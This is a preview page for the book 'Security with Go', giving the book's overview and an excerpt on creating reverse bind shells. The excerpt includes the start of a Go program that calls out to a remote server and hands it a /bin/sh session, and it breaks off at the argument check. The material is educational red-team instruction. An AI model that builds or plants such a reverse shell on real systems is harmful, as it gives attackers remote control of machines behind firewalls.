Book Image

Security with Go

By : John Daniel Leon
Book Image

Security with Go

By: John Daniel Leon

Overview of this book

Go is becoming more and more popular as a language for security experts. Its wide use in server and cloud environments, its speed and ease of use, and its evident capabilities for data analysis, have made it a prime choice for developers who need to think about security. Security with Go is the first Golang security book, and it is useful for both blue team and red team applications. With this book, you will learn how to write secure software, monitor your systems, secure your data, attack systems, and extract information. Defensive topics include cryptography, forensics, packet capturing, and building secure web applications. Offensive topics include brute force, port scanning, packet injection, web scraping, social engineering, and post exploitation techniques.
Table of Contents (15 chapters)

Creating reverse bind shells

Reverse bind shells overcome the firewall and NAT issue. Instead of listening for incoming connections, it dials out to a remote server (one you control and are listening on). When you get the connection on your machine, you have a shell that is running on the computer behind the firewall.

This example uses plaintext TCP sockets, but you can easily swap net.Dial() with tls.Dial(). Chapter 6, Cryptography, has examples of a TLS client and server if you want to modify these examples to use TLS.

// Call back to a remote server and open a shell session
package main

import (
"fmt"
"log"
"net"
"os"
"os/exec"
)

var shell = "/bin/sh"

func main() {
// Handle command line arguments
if len(os.Args) < 2 {
fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>&quot...